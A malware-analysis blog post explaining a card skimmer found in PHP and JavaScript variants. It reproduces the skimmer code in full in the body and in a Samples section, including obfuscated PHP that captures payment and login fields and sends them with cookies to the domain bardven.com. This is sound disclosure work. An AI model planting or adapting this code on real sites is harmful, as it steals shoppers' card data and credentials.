PHP -> JavaScript Conversion - $dataoo Skimmer
Outline
This post is just a quick example of how attackers can quickly switch between PHP and JavaScript when creating their skimmer. I covered the PHP variant of the $dataoo
skimmer a few months ago here.
Big ups to Baryo (@ctrl__esc) for deobfuscating the JavaScript variant of this skimmer! 🦾 🦾
PHP Variant⌗
The PHP variant is the same skimmer I covered here, so I will just briefly review it in this post.
$n74756b5d = implode("_", array("s" . "tr", implode("", array('r', 'o', 't', '', '', '1', '3'))));
$f451099eb = $n74756b5d('o' . 'n' . 'f' . 'r6' . '4_ra' . 'pb' . 'q' . 'r');
$jd78034e7 = $n74756b5d('on' . 'fr' . '6' . '4_qr' . 'pb' . 'qr');
$rd22a4bbd = $n74756b5d('f' . 're' . 'vn' . 'yvm' . 'r');
$t1393d1ff = $n74756b5d('ce' . 'rt' . '_z' . 'n' . 'g' . 'pu');
The first 5 variables are used to set up important PHP functions:
-str_rot13
-base64_encode
-base64_decode
-serialize
-preg_match
These functions are also usually considered suspicious, so they are slightly obfuscated to try and prevent signature detection based scanners from detecting them.
$dataoo = @file_get_contents('php://input');
if (!empty($dataoo)) $dataoo = json_decode($dataoo, true);
else $dataoo = array();
if (is_array($dataoo)) $_REQUEST = array_merge($_REQUEST, $dataoo);
if ($t1393d1ff("/" . $jd78034e7('eWVhcnx' . 'maXJzdG5hbWV' . '8bG9naW58' . 'Y3ZjMnxjY198ZXh' . 'waXJ5fGR1bW' . '15fG1vbnRofG' . 'N2dnxjYX' . 'JkX25' . '1bWJlcnx' . 'zaGlwc' . 'GluZ3x1c' . '2VybmFtZXx' . 'zZWN1cm' . 'V0cmFkaW5nfG' . 'NjX251bW' . 'JlcnxwYXltZW50fG' . 'JpbGxpbmc=') . "/i", $rd22a4bbd($_REQUEST)))
/*
if (preg_match("/year|firstname|login|cvc2|cc_|expiry|dummy|month|cvv|card_number|shipping|username|securetrading|cc_number|payment|billing/i", serialize($_REQUEST))
*/
This section of the PHP skimmer uses a combination of file_get_contents
and php://input
to capture incoming HTTP requests to the web server, then preg_match
is used to check the captured requests for the desired payment data fields that the skimmer wants to steal.
{
$jd88fc6ed = curl_init();
curl_setopt($jd88fc6ed, CURLOPT_URL, trim($jd78034e7('aHR0c' . 'DovL2Jh' . 'cmR2Z' . 'W4uY2' . '9tL3' . 'Rlc3' . 'RTZX' . 'J2Z' . 'XIucGhw')));
curl_setopt($jd88fc6ed, CURLOPT_POST, True);
curl_setopt($jd88fc6ed, CURLOPT_POSTFIELDS, "ver" . "sio" . "n=1" . "&en" . "co" . "de=" . $f451099eb($rd22a4bbd($_REQUEST) . "--" . $rd22a4bbd($_COOKIE)) . "&h" . "ost=" . $_SERVER["HTTP_HOST"]);
curl_setopt($jd88fc6ed, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($jd88fc6ed, CURLOPT_CONNECTTIMEOUT, 2);
curl_setopt($jd88fc6ed, CURLOPT_RETURNTRANSFER, True);
curl_setopt($jd88fc6ed, CURLOPT_TIMEOUT, 5);
curl_setopt($jd88fc6ed, CURLOPT_SSL_VERIFYPEER, 0);
$g7f94dd41 = @curl_exec($jd88fc6ed);
curl_close($jd88fc6ed);
}
The final section of the PHP skimmer is used for exfiltration of the skimmed data back to the attacker. This is done using the curl
function.
JavaScript Variant⌗
So after a few days passed I learned that a new variant of the $dataoo
skimmer was detected and after Baryo (@ctrl__esc) deobfuscated the JavaScript it turned out that the skimmer was a type of converted $dataoo
skimmer, meaning it went from using PHP to using JavaScript.
It’s entirely possible it went the other way - from JavaScript to PHP, but I haven’t been able to confirm which language was the first one.
let dataoo = fetch('php://input'); // Retrieve raw POST data
if (dataoo) dataoo = JSON.parse(dataoo);
else dataoo = [];
if (Array.isArray(dataoo)) let $_REQUEST = $_REQUEST.concat(dataoo); // Concat any query strings with post data
Interestingly, the JavaScript variant is able to capture the incoming HTTP requests using the fetch
function with php://input
(which is what the PHP skimmer used, too).
if (/year|firstname|login|cvc2|cc_|expiry|dummy|month|cvv|card_number|shipping|username|securetrading|cc_number|payment|billing/i.exec(JSON.stringify($_REQUEST)))
Also like the PHP variant, this JavaScript variant will then check the captured HTTP request data to ensure it contains the desired skimmed payment data.
If it contains the desired payment data then JSON.stringify
is used to convert the captured data to JSON format - in preparation for exfiltration.
{
const jd88fc6ed = new XMLHttpRequest()
jd88fc6ed.open('POST', 'http://bardven.com/testServer.php');
jd88fc6ed.send("version=1&encode=" + btoa(JSON.stringify(_REQUEST)) + '--' + JSON.stringify(document.cookie) + '--' + "&host=" + location.hostname);
}
The final section then exfiltrates to the same exfiltration domain except it doesn’t have to use curl
like in the PHP variant.
In this case it uses a XMLHttpRequest()
method for sending out the POST containing the skimmed payment data.
Similar to the PHP variant - it uses base64 encoding for the skimmed data through the btoa
function.
Conclusion⌗
It was pretty interesting to see essentially the same $dataoo
skimmer be deployed in both PHP and JavaScript as I had not encountered that before.
One important thing to note is that the JavaScript variant was also obfuscated and at least for me it was more difficult to deobfuscate than the PHP variant.
Samples⌗
<?php
...
$n74756b5d = implode("_", array(
"s" . "tr",
implode("", array(
'r',
'o',
't',
'',
'',
'1',
'3'
))
));
$f451099eb = $n74756b5d('o' . 'n' . 'f' . 'r6' . '4_ra' . 'pb' . 'q' . 'r');
$jd78034e7 = $n74756b5d('on' . 'fr' . '6' . '4_qr' . 'pb' . 'qr');
$rd22a4bbd = $n74756b5d('f' . 're' . 'vn' . 'yvm' . 'r');
$t1393d1ff = $n74756b5d('ce' . 'rt' . '_z' . 'n' . 'g' . 'pu');
$dataoo = @file_get_contents('php://input');
if (!empty($dataoo)) $dataoo = json_decode($dataoo, true);
else $dataoo = array();
if (is_array($dataoo)) $_REQUEST = array_merge($_REQUEST, $dataoo);
if ($t1393d1ff("/" . $jd78034e7('eWVhcnx' . 'maXJzdG5hbWV' . '8bG9naW58' . 'Y3ZjMnxjY198ZXh' . 'waXJ5fGR1bW' . '15fG1vbnRofG' . 'N2dnxjYX' . 'JkX25' . '1bWJlcnx' . 'zaGlwc' . 'GluZ3x1c' . '2VybmFtZXx' . 'zZWN1cm' . 'V0cmFkaW5nfG' . 'NjX251bW' . 'JlcnxwYXltZW50fG' . 'JpbGxpbmc=') . "/i", $rd22a4bbd($_REQUEST)))
{
$jd88fc6ed = curl_init();
curl_setopt($jd88fc6ed, CURLOPT_URL, trim($jd78034e7('aHR0c' . 'DovL2Jh' . 'cmR2Z' . 'W4uY2' . '9tL3' . 'Rlc3' . 'RTZX' . 'J2Z' . 'XIucGhw')));
curl_setopt($jd88fc6ed, CURLOPT_POST, True);
curl_setopt($jd88fc6ed, CURLOPT_POSTFIELDS, "ver" . "sio" . "n=1" . "&en" . "co" . "de=" . $f451099eb($rd22a4bbd($_REQUEST) . "--" . $rd22a4bbd($_COOKIE)) . "&h" . "ost=" . $_SERVER["HTTP_HOST"]);
curl_setopt($jd88fc6ed, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($jd88fc6ed, CURLOPT_CONNECTTIMEOUT, 2);
curl_setopt($jd88fc6ed, CURLOPT_RETURNTRANSFER, True);
curl_setopt($jd88fc6ed, CURLOPT_TIMEOUT, 5);
curl_setopt($jd88fc6ed, CURLOPT_SSL_VERIFYPEER, 0);
$g7f94dd41 = @curl_exec($jd88fc6ed);
curl_close($jd88fc6ed);
}
...
?>
let dataoo = fetch('php://input'); // Retrieve raw POST data
if (dataoo) dataoo = JSON.parse(dataoo);
else dataoo = [];
if (Array.isArray(dataoo)) let $_REQUEST = $_REQUEST.concat(dataoo); // Concat any query strings with post data
if (/year|firstname|login|cvc2|cc_|expiry|dummy|month|cvv|card_number|shipping|username|securetrading|cc_number|payment|billing/i.exec(JSON.stringify($_REQUEST))) {
const jd88fc6ed = new XMLHttpRequest()
jd88fc6ed.open('POST', 'http://bardven.com/testServer.php');
jd88fc6ed.send("version=1&encode=" + btoa(JSON.stringify(_REQUEST)) + '--' + JSON.stringify(document.cookie) + '--' + "&host=" + location.hostname);
}